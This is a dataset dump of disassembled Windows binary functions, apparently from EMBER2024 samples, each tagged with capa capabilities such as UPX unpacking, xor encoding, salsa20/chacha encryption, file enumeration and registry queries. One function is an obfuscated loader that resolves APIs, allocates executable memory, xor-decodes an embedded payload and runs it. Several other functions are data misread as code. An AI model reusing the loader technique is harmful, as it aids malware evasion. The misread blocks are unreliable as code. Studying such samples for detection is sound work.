joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005b910
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1005bafd
pushal
mov esi, section.UPX1
lea edi, [esi - 0x44000]
push edi
or ebp, 0xffffffff
jmp 0x1005b93a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1005b941
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1005b930
mov eax, 1
add ebx, ebx
jne 0x1005b953
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1005b964
jne 0x1005b983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1005b983
dec eax
add ebx, ebx
jne 0x1005b970
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1005b948
add ebx, ebx
jne 0x1005b97f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1005b9d5
xor ecx, ecx
sub eax, 3
jb 0x1005b99b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1005ba0a
sar eax, 1
mov ebp, eax
jmp 0x1005b9a6
add ebx, ebx
jne 0x1005b9a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1005b974
inc ecx
add ebx, ebx
jne 0x1005b9b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1005b974
add ebx, ebx
jne 0x1005b9c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1005b9b6
jne 0x1005b9d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1005b9b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1005b9f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1005b9e6
jmp 0x1005b936
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1005b9f4
add edi, ecx
jmp 0x1005b936
pop esi
mov edi, esi
mov ecx, 0x13c1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1005ba12
cmp byte [edi], 0x11
jne 0x1005ba12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1005ba17
lea edi, [esi + 0x57000]
mov eax, dword [edi]
or eax, eax
je 0x1005ba8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5b2d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5b3c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1005ba44
mov ecx, edi
jns 0x1005ba73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5b3cc]
or eax, eax
je 0x1005ba89
mov dword [ebx], eax
add ebx, 4
jmp 0x1005ba61
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1005bac0
cmp al, 0xef
ja 0x1005bab3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1005ba95
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1005baa2
mov ebp, dword [esi + 0x5b3d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1005baf4
sub esp, 0xffffff80
jmp 0x1001f0de
Function at 0x66d683c0
Capabilities:
Encode data using xor

Disassembly:
cmp bl, bl
cmp bl, bl
xor al, 0x91
salc
in al, dx
jle 0x66d683a1
cmp bl, bl
dec sp
xchg ecx, eax
salc
cmp al, 0x82
salc
cmp bl, bl
xchg cx, ax
salc
add byte [edx + 0x3a6466d6], al
invalid

Function at 0x66d687e0
Capabilities:
Encode data using add xor sub operations

Disassembly:
cmp bl, bl
cmp bl, bl
and byte [ecx - 0x7ef3992a], bl
salc
cmp bl, bl
pushaw
cdq
salc
clc
adc dh, 0x66
cmp bl, bl
mov al, byte [0x9c66d699]
test esi, edx
cmp bl, bl
cmp bl, bl
loopne 0x66d686ff
salc
or al, 0x81
salc
cmp bl, bl
and byte [edx - 0x7a63992a], bl
salc
cmp bl, bl
pushaw
lcall 0x66d6, 0x80f866d6
cmp bl, bl
mov al, byte [0xf066d69a]
test dh, dl
cmp bl, bl
loopne 0x66d68730
salc
mov ah, 0x85
salc
cmp bl, bl
and byte [ebx - 0x7a4b992a], bl
salc
cmp bl, bl
pushaw
wait
salc
mov ah, 0x85
salc
cmp bl, bl
mov al, byte [0xc66d69b]
mov dh, dl
cmp bl, bl
loopne 0x66d68761
salc
mov ah, 0x85
salc
cmp bl, bl
cmp bl, bl
and byte [esi + edx*8 - 0x2980ab9a], bl
pushaw
cmp bl, bl
sub byte [esi + edx*8 - 0x24c59b9a], bl
cmp bl, bl
xor byte [esi + edx*8 - 0x297f379a], bl
cmp bl, bl
cmp bl, bl
cmp byte [esi + edx*8 - 0x2977fb9a], bl
cmp bl, bl
cmp bl, bl
inc ax
pushfd
salc
push sp
mov dh, dl
pushaw
pushal
cmp bl, bl
dec sp
pushfd
salc
cmp bl, bl
cmp bl, bl
pop ax
pushfd
salc
add al, 0x88
salc
cmp bl, bl
pushf
salc
mov sp, 0xd67e
cmp bl, bl
jo 0x66d687c6
salc
cld
adc esi, 0x66

Function at 0x66d687ec
Capabilities:
Encode data using add xor sub operations

Disassembly:
cmp bl, bl
cmp bl, bl
and byte [ecx - 0x7ef3992a], bl
salc
cmp bl, bl
pushaw
cdq
salc
clc
adc dh, 0x66
cmp bl, bl
mov al, byte [0x9c66d699]
test esi, edx
cmp bl, bl
cmp bl, bl
loopne 0x66d686ff
salc
or al, 0x81
salc
cmp bl, bl
and byte [edx - 0x7a63992a], bl
salc
cmp bl, bl
pushaw
lcall 0x66d6, 0x80f866d6
cmp bl, bl
mov al, byte [0xf066d69a]
test dh, dl
cmp bl, bl
loopne 0x66d68730
salc
mov ah, 0x85
salc
cmp bl, bl
and byte [ebx - 0x7a4b992a], bl
salc
cmp bl, bl
pushaw
wait
salc
mov ah, 0x85
salc
cmp bl, bl
mov al, byte [0xc66d69b]
mov dh, dl
cmp bl, bl
loopne 0x66d68761
salc
mov ah, 0x85
salc
cmp bl, bl
cmp bl, bl
and byte [esi + edx*8 - 0x2980ab9a], bl
pushaw
cmp bl, bl
sub byte [esi + edx*8 - 0x24c59b9a], bl
cmp bl, bl
xor byte [esi + edx*8 - 0x297f379a], bl
cmp bl, bl
cmp bl, bl
cmp byte [esi + edx*8 - 0x2977fb9a], bl
cmp bl, bl
cmp bl, bl
inc ax
pushfd
salc
push sp
mov dh, dl
pushaw
pushal
cmp bl, bl
dec sp
pushfd
salc
cmp bl, bl
cmp bl, bl
pop ax
pushfd
salc
add al, 0x88
salc
cmp bl, bl
pushf
salc
mov sp, 0xd67e
cmp bl, bl
jo 0x66d687c6
salc
cld
adc esi, 0x66
Function at 0x66d687f8
Capabilities:
Encode data using add xor sub operations

Disassembly:
cmp bl, bl
cmp bl, bl
and byte [ecx - 0x7ef3992a], bl
salc
cmp bl, bl
pushaw
cdq
salc
clc
adc dh, 0x66
cmp bl, bl
mov al, byte [0x9c66d699]
test esi, edx
cmp bl, bl
cmp bl, bl
loopne 0x66d686ff
salc
or al, 0x81
salc
cmp bl, bl
and byte [edx - 0x7a63992a], bl
salc
cmp bl, bl
pushaw
lcall 0x66d6, 0x80f866d6
cmp bl, bl
mov al, byte [0xf066d69a]
test dh, dl
cmp bl, bl
loopne 0x66d68730
salc
mov ah, 0x85
salc
cmp bl, bl
and byte [ebx - 0x7a4b992a], bl
salc
cmp bl, bl
pushaw
wait
salc
mov ah, 0x85
salc
cmp bl, bl
mov al, byte [0xc66d69b]
mov dh, dl
cmp bl, bl
loopne 0x66d68761
salc
mov ah, 0x85
salc
cmp bl, bl
cmp bl, bl
and byte [esi + edx*8 - 0x2980ab9a], bl
pushaw
cmp bl, bl
sub byte [esi + edx*8 - 0x24c59b9a], bl
cmp bl, bl
xor byte [esi + edx*8 - 0x297f379a], bl
cmp bl, bl
cmp bl, bl
cmp byte [esi + edx*8 - 0x2977fb9a], bl
cmp bl, bl
cmp bl, bl
inc ax
pushfd
salc
push sp
mov dh, dl
pushaw
pushal
cmp bl, bl
dec sp
pushfd
salc
cmp bl, bl
cmp bl, bl
pop ax
pushfd
salc
add al, 0x88
salc
cmp bl, bl
pushf
salc
mov sp, 0xd67e
cmp bl, bl
jo 0x66d687c6
salc
cld
adc esi, 0x66

Function at 0x66d6880c
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
cmp bl, bl
cmp bl, bl
and byte [ecx - 0x7ef3992a], bl
salc
cmp bl, bl
pushaw
cdq
salc
clc
adc dh, 0x66
cmp bl, bl
mov al, byte [0x9c66d699]
test esi, edx
cmp bl, bl
cmp bl, bl
loopne 0x66d686ff
salc
or al, 0x81
salc
cmp bl, bl
and byte [edx - 0x7a63992a], bl
salc
cmp bl, bl
pushaw
lcall 0x66d6, 0x80f866d6
cmp bl, bl
mov al, byte [0xf066d69a]
test dh, dl
cmp bl, bl
loopne 0x66d68730
salc
mov ah, 0x85
salc
cmp bl, bl
and byte [ebx - 0x7a4b992a], bl
salc
cmp bl, bl
pushaw
wait
salc
mov ah, 0x85
salc
cmp bl, bl
mov al, byte [0xc66d69b]
mov dh, dl
cmp bl, bl
loopne 0x66d68761
salc
mov ah, 0x85
salc
cmp bl, bl
cmp bl, bl
and byte [esi + edx*8 - 0x2980ab9a], bl
pushaw
cmp bl, bl
sub byte [esi + edx*8 - 0x24c59b9a], bl
cmp bl, bl
xor byte [esi + edx*8 - 0x297f379a], bl
cmp bl, bl
cmp bl, bl
cmp byte [esi + edx*8 - 0x2977fb9a], bl
cmp bl, bl
cmp bl, bl
inc ax
pushfd
salc
push sp
mov dh, dl
pushaw
pushal
cmp bl, bl
dec sp
pushfd
salc
cmp bl, bl
cmp bl, bl
pop ax
pushfd
salc
add al, 0x88
salc
cmp bl, bl
pushf
salc
mov sp, 0xd67e
cmp bl, bl
jo 0x66d687c6
salc
cld
adc esi, 0x66
Function at 0x66d6a0ac
Capabilities:
Encode data using xor

Disassembly:
rcl byte [ebp - 0x6a2f1f9a]
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
add byte [eax], al
add byte [eax], al
movsb byte es:[edi], byte [esi]
jg 0x66d6a089
invalid

Function at 0x66d6a0bc
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
add byte [eax], al
mov al, 0x7f
salc
mov al, byte [0xc066b7ef]
mov al, byte [0xc066b7ef]
out dx, eax
mov bh, 0x66
adc al, dh
mov bh, 0x66
jo 0x66d6a11d
mov cl, 0x66
loopne 0x66d6a121
mov cl, 0x66
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
mov al, 0x58
mov cl, 0x66
push eax
dec ecx
mov cl, 0x66
add byte [eax], al
add byte [eax], al
mov esp, 0xc066d67f
invalid
add byte [eax], al
add byte [edi + edi*2 - 0x733f992a], bh
mov bl, 0x66
loopne 0x66d6a16a
mov bl, 0x66
invalid
invalid
add byte [eax], al
add al, cl
jg 0x66d6a0fd
mov al, byte [0xd066b393]
xchg edx, eax
mov bl, 0x66
jo 0x66d6a0c4
mov bl, 0x66
xor byte [ebx + esi*4 - 0x4c569f9a], ch
invalid
add byte [eax], al
add ah, dl
jg 0x66d6a121
xor byte [ebx + esi*4 - 0x4c6d2f9a], dl
mov al, byte [0xb066b392]
mov bl, 0xb3
pushaw
scasd eax, dword es:[edi]
mov bl, 0x66
add byte [ebx - 0x6caf994d], dl
xchg ebx, eax
mov bl, 0x66
add byte [eax], al
add byte [eax], al
loopne 0x66d6a1ed
add al, ah
jg 0x66d6a145
salc
loopne 0x66d6a149
mov eax, dword [0xa1d84066]
lock xor ah, byte [edx - 0x5d6a5f9a]
adc byte [ebx - 0x284f995e], bl
mov eax, dword [0x66]
add byte [eax], al
add ah, ch
jg 0x66d6a165
adc byte [ecx], bl
mov ebp, 0xbd19e066
inc ax
sbb dword [ebp - 0x4c2b8f9a], edi
loopne 0x66d6a16b
mov bl, 0x66
xor byte [eax], al
mov ecx, 0xb9001066
add byte [eax], al
add byte [eax], al
clc
jg 0x66d6a189
adc byte [esi - 0x4d], dl
loopne 0x66d6a216
mov bl, 0x66
nop
push ebp
mov bl, 0x66
jo 0x66d6a218
mov bl, 0x66
xor byte [edi - 0x4d], dl
mov al, 0x55
mov bl, 0x66
rcl byte [ebp - 0x4d]
add byte [eax], al
add byte [eax], al
mov bl, 0x66
add byte [eax], al
add al, 0x80
salc
mov al, byte [0x3066a705]
push es
cmpsd dword [esi], dword es:[edi]
jo 0x66d6a1ce
cmpsb byte [esi], byte es:[edi]
xor al, ch
cmpsb byte [esi], byte es:[edi]
inc ax
call 0x4f370894
cmpsb byte [esi], byte es:[edi]
sub al, 0xa6
call 0x4f570898
cmpsb byte [esi], byte es:[edi]
nop
call 0x4f7708a0
cmpsb byte [esi], byte es:[edi]
push ax
push eax
ljmp 0x66a7:0xd06066a6
cmpsd dword [esi], dword es:[edi]
xor cl, bl
xor cl, bl
cmpsd dword [esi], dword es:[edi]
inc ax
push es
test al, 0x66
jo 0x66d6a1fc
cmpsd dword [esi], dword es:[edi]
adc dl, bh
cmpsd dword [esi], dword es:[edi]
mov al, 8
cmpsd dword [esi], dword es:[edi]
push ax
out 0xa7, eax
pushaw
cli
cmpsd dword [esi], dword es:[edi]
shr al, 0xa7
and dl, bh
cmpsd dword [esi], dword es:[edi]
xor dl, bh
cmpsd dword [esi], dword es:[edi]
cmp bl, 0xa7
push ax
jmp 0x66d6a1ed
Function at 0x66d6a268
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
add byte [eax], al
adc byte [eax + 0x6d5066d6], al
cmpsd dword [esi], dword es:[edi]
nop
xchg byte [edi - 0x58791f9a], ah
and byte [ebp - 0x59], ch
cmpsd dword [esi], dword es:[edi]
xor byte [ebp - 0x59], ch
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
add byte [eax], al
add byte [eax], al
sbb al, 0x80
salc
mov al, 0x19
mov ebp, 0xbd19e066
lock sbb word [ebp - 0x4c340f9a], di
loopne 0x66d6a27e
mov bl, 0x66
loopne 0x66d6a2bf
mov ecx, 0xb901c066
rol byte [ecx], 0xb9
add byte [eax], al
add byte [eax], al
sub byte [eax - 0x17f992a], al
mov bh, 0x66
nop
add dword [eax - 0x47fe1f9a], edi
ror byte [ebx - 0x4b], 1
loopne 0x66d6a329
mov ch, 0x66
add byte [ebp - 0x4b], cl
inc ax
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
invalid
add byte [eax], al
add byte [eax - 0x80], al
salc
xor dh, bl
mov bh, 0x66
push eax
fidiv word [edi - 0x48215f9a]
jo 0x66d6a342
lodsd eax, dword [esi]
rol byte [ebp*4 - 0x4f757f9a], 1
inc ax
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
lodsd eax, dword [esi]
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
add byte [eax], al
add byte [eax], al
dec esp
adc dh, 0x66
and byte [ebx], al
mov ecx, 0xb9031066
add byte [edx], bl
mov ebp, 0xbd1a1066
add byte [eax], al
add byte [eax], al
push esp
adc dh, 0x66
push eax
int1
mov bh, 0x66
jo 0x66d6a377
mov bh, 0x66
sal cl, 0xb7
xor byte [edx - 0x552f994e], ch
mov dl, 0x66
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66

Function at 0x66d6bf30
Capabilities:
Encode data using xor

Disassembly:
inc eax
add byte [eax], al
add byte [eax], al
push esp
xchg dh, dl
xor byte [ecx - 0x4edf9947], dh
mov ecx, 0xb989a066
sal byte [eax - 0x4f1f9947], 0xb9
mov al, 0xb0
mov ecx, 0xb9b0d066
add byte [eax], al
add byte [eax], al
add byte [eax], al
je 0x66d6bee0
salc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call 0x673d7774
add byte [eax], al
add byte [esi + eax*4 - 0x2a], bh
mov al, byte [0x4066b9b1]
mov cl, 0xb9
invalid
Function at 0x66d6c488
Capabilities:
Encode data using xor

Disassembly:
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
and byte [ecx], dl
mov byte [0xa1f05066], al
shr byte [edx], 1
mov byte [0xa22f0066], al
inc ax
invalid
add byte [eax], al
add byte [eax], al
fadd dword [edi + 0x5f9066d6]
scasb al, byte es:[edi]
and byte [eax - 0x52], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
loopne 0x66d6c425
salc
mov al, 0xf7
mov bh, 0x66
and ah, bh
mov bh, 0x66
jo 0x66d6c4a6
mov bh, 0x66
sal byte [ebx], 1
mov ch, 0x66
loopne 0x66d6c4e5
mov ch, 0x66
and byte [eax - 0x4b], cl
inc ax
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
inc eax
cmp al, 0xb5
inc ax
cmp al, 0xb5
add byte [eax], al
add byte [eax], al
add byte [eax], al
in al, dx
xchg esi, edx
mov al, 0xec
mov bh, 0x66
mov al, 0xed
in eax, dx
mov bh, 0x66
add dh, ch
mov bh, 0x66
jo 0x66d6c52b
mov cl, 0x66
loopne 0x66d6c52f
mov cl, 0x66
or byte [edx + 0x504066b0], 0xb0
mov al, 0x3e
mov cl, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
or byte [edx + 0x504066b0], 0xb0
xor byte [eax - 0x50], dl
inc ax
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor cl, ch
mov al, byte [0xa0eb0066]
pushaw
and byte [edx - 0x5f0e8f9a], 0x66
and dl, dh
mov al, byte [0xa0f23066]
mov al, 0xe7
mov al, byte [0xa0f5e066]
mov al, byte [0x8066a0f8]
mov word [edx - 0x5d735f9a], fs
and byte [ebp - 0x74f995e], cl
mov al, byte [0xa2b36066]
pushaw
mov bl, 0xa2
inc ax
mov al, byte [0xa2aa2066]
inc ax
invalid
invalid
invalid

Function at 0x66d6c704
Capabilities:
Encode data using xor

Disassembly:
mov al, byte [0xb066a289]
mov dword [edx - 0x5d75ef9a], esp
xor byte [edx - 0x5d], ah
or byte [edx - 0x5c9d7f9a], 0x66
invalid
mov byte [0xa33b2066], al
and byte [edx + 0x353066a2], ch
mov dword [0xa2e8e066], eax
add byte [eax], al
add byte [eax], al
dec eax
mov dh, dl
push ax
jne 0x66d6c6a8
xor byte [ebp - 0x43], 0x66
mov al, byte [0x3066bd75]
sal dword [ebx - 0x4c381f9a], 1
add ch, bh
mov esp, 0xbcfce066
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push esp
mov dh, dl
mov al, byte [0x5066b7b0]
mov bl, 0xb7
mov al, byte [0x66b7b3]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x4066b08a], al
push eax
mov al, 0x66
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
xor byte [eax - 0x50], dl
push ax
push eax
mov al, 0x66
push eax
push eax
mov al, 0x66
pushal
and byte [edx - 0x5d779f9a], 0x66
loopne 0x66d6c6ce
mov byte [0xa289a066], al
mov al, 0x89
mov byte [0xa28a1066], al
inc ax
mov word [edx - 0x5d737f9a], fs
mov al, byte [0x2066a28c]
lea esp, [edx - 0x5d54ef9a]
pushaw
mov bl, 0xa2
pushaw
mov bl, 0xa2
call fcn.66d67f7e
and byte [edx + 0xbe866a2], ch
mov eax, 0x66
add byte [eax - 0x78], ah
salc
mov al, 0x75
mov ebp, 0xbd75e066
add byte [esi - 0x43], dh
xor byte [eax], al
mov ah, 0x66
sar ah, 1
mov bl, 0x66
invalid
Function at 0x66d6c8f0
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
add byte [eax], al
test al, 0x88
salc
mov al, byte [0xd066b450]
push eax
mov ah, 0x66
add byte [eax], al
add byte [eax], al
mov ah, 0x88
salc
invalid
Function at 0x10008880
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
mov esi, dword [ebp + 0xc]
push edi
call fcn.100e2850
test eax, eax
jne 0x100089e6
cmp byte [0x101170fc], al
jne 0x100088a4
xor edi, edi
jmp 0x100088bf
push 5
call dword [0x10117140]
mov edi, eax
add esp, 4
test edi, edi
je 0x100088bf
push edi
call dword [0x10117148]
add esp, 4
mov edx, dword [ebp + 8]
test edx, edx
jle 0x100089ce
test esi, esi
je 0x100089ce
cmp dword [0x10119650], 0
jne 0x1000895a
push 0
call fcn.100e2850
movups xmm0, xmmword [str.expand_32_byte_k]
add esp, 4
movups xmmword [0x10119650], xmm0
test eax, eax
jne 0x10008906
push 0x2c
push eax
push 0x10119660
call sub.VCRUNTIME140.dll_memset
jmp 0x10008936
cmp dword [0x1011720c], 0
je 0x10008929
push 0x2c
push 0
push 0x10119660
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1011720c]
mov dword [0x10119660], eax
jmp 0x10008936
push 0x10119660
push 0x2c
push eax
mov eax, dword [eax + 0x38]
call eax
mov eax, dword [0x10119680]
add esp, 0xc
mov edx, dword [ebp + 8]
xor cl, cl
mov dword [0x1011968c], eax
mov dword [0x10119680], 0
mov byte [0x101196d0], cl
jmp 0x10008960
mov cl, byte [0x101196d0]
movzx eax, cl
cmp edx, eax
jle 0x100089ae
test cl, cl
je 0x10008989
movzx eax, cl
push eax
push 0x10119690
push esi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x101196d0]
add esp, 0xc
sub dword [ebp + 8], eax
add esi, eax
inc dword [0x10119680]
mov edx, 0x10119650
mov ecx, 0x10119690
call fcn.100e2850
mov edx, dword [ebp + 8]
mov cl, 0x40
mov byte [0x101196d0], cl
cmp edx, 0x40
jg 0x10008967
movzx eax, cl
sub eax, edx
push edx
add eax, 0x10119690
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 8]
add esp, 0xc
sub byte [0x101196d0], al
jmp 0x100089d8
mov dword [0x10119650], 0
test edi, edi
je 0x100089e6
push edi
call dword [0x10117150]
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100e2850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100e285f
pop dword [ebp - 0x18]
mov eax, 0x100e285f
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x4d0368fc
sub dword [ebp - 0x28], 0xfeb123b1
mov dword [ebp - 0x24], 0xeda7c442
sub dword [ebp - 0x24], 0xbb7477fd
mov dword [ebp - 0x20], 0xf7b98889
sub dword [ebp - 0x20], 0xab6d445b
mov dword [ebp - 0x1c], 0xfe6a6e37
add dword [ebp - 0x1c], 0x19591c9
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xe8743650
add dword [ebp - 0x28], 0x8bfe3306
mov dword [ebp - 0x24], 0x4268c64c
sub dword [ebp - 0x24], 0xfc64d7
mov dword [ebp - 0x20], 0x421a1811
sub dword [ebp - 0x20], 0xdeaaaba5
mov dword [ebp - 0x1c], 0xb840f75c
sub dword [ebp - 0x1c], 0xb840f75c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x2f9b78ca
add eax, 0xe07497fa
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x68ecf
push 0
call eax
mov ecx, 0xf9bfd381
add ecx, 0x6407227
xor esi, esi
add esi, eax
mov edx, 0x10123e00
add edx, dword [ebp - 0x18]
mov edi, 0x9e95ec33
sub edi, 0xc6919370
mov ebx, dword [edx]
sub dword [ebp - 8], eax
xor ebx, edi
sub dword [ebp - 4], ebx
mov dword [esi], ebx
xor dword [ebp - 8], ebx
add esi, 4
add edx, 0xfa4834e3
add edx, 0x5b7cb21
loop 0x100e2973
add eax, 0x10973
xor ebx, ebx
add ebx, eax
add eax, 0x8a79263d
add eax, 0x7586d9c8
mov ecx, 0xf2aaf44c
add ecx, 0x1d550bb4
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40b3b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4863cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047ac15
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b432
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00478860
mov eax, dword [eax]
push 0x4a5cdc
push eax
call fcn.0046a904
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047aea0
test bl, bl
je 0x40b432
push 0x4a5cdc
lea ecx, [esp + 0xc]
call fcn.0047b230
push 0x4a5ce8
lea ecx, [esp + 0xc]
call fcn.0047b230
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b46e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047aea0
jmp 0x40b539
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b4f2
lea edx, [esp + 0x7c]
push 0x4a5ce4
push edx
call fcn.0046a904
add esp, 8
test eax, eax
je 0x40b4f2
lea eax, [esp + 0x7c]
push 0x4a5ce0
push eax
call fcn.0046a904
add esp, 8
test eax, eax
je 0x40b4f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b482
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047aea0
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40bd30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40bd92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc